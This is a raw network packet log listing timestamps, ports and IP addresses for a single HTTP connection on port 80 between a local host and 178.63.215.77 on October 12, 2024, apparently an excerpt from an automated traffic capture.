Oct 12, 2024 14:17:10.765160084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765166998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765173912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765187025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765199900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765211105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765227079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765242100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765238047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765256882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765264034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765270948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765285015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765290976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765306950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765321016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765335083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765341043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765348911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765357018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765371084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765387058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765392065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765400887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765417099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765438080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765440941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765453100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765460014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765467882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765481949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765487909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765496016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765511036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765523911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765526056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765538931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765557051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765558004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765572071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765584946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765585899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765600920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765620947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765621901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765635967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765650034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765661955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765664101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765677929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765681982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765693903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765702009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765716076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765731096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765744925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765748024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765759945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765763998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765774012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765798092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765799046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765811920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765820980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765825987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765840054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765855074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765857935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765867949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765882969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765888929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765897989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765912056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765913010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765925884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765932083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765939951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765954971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765959978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.765969038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765983105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.765997887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766005993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766015053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766028881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766041994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766047955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766056061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766069889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766072035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766084909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766092062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766098976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766113997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766113997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766129017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766143084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.766145945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.766199112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.852484941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852530003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852561951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852608919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852631092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852646112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852663040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852678061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852694035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852710009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852725983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852757931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852788925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852821112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852853060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852888107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852921009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852952003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.852950096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.852950096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.852988005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853039026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853071928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853118896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853167057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853166103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853167057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853167057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853167057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853199005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853230953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853264093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853296041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853326082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853374958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853421926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853452921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853463888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853465080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853465080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853486061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853502989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853502989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853519917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853548050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853550911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853574038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853581905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853601933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853614092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853637934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853645086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853682041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853693008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853708982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853740931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853745937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853773117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853796959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853821039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853821993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853851080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853876114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853883028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853904963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853929996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853935003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853961945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.853986025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.853992939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854015112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854023933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854044914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854055882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854080915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854106903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854114056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854144096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854170084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854178905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854192019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854209900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854238987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854242086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854263067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854278088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854300022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854309082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854329109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854340076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854368925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854387999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854403973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854419947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854444027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854466915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854468107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854499102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854521990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854530096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854549885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854557991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854579926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854589939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854612112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854623079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854648113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854650021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854671955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854698896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854700089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854751110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854762077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854799032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854804039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854831934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854854107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854862928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854878902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854897022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854918003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854928017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854953051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854960918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.854984999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.854993105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855010986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855007887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855025053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855038881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855042934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855052948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855067015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855076075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855081081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855094910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855108976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855123997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855138063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855144024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855150938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855165005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855171919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855179071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855194092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855196953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855206966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855221033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855226040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855236053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855247021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855251074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855264902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855271101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855278015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855293036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855305910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855308056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855320930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855334997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855348110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855353117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855361938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855376959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855407953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855427027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855442047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855454922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855468988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855470896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855484962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855499983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855504036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855514050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855526924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855547905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855554104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855567932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855572939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855582952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855597019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855612040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.855631113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.855669975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.941947937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942014933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942034006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942049980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942066908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942096949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942128897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942159891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942192078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942223072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942230940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942257881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942313910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942346096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942394018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942425013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942456007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942456007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942472935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942487001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942522049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942553043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942567110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942584991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942616940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942648888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942651987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942678928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942696095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942723989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942744017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942756891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942790985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942822933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942848921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942856073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942882061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942888975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942919970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942919970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942944050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942950964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942974091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.942982912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.942996979 CEST	49730	80	192.168.2.4	178.63.215.77
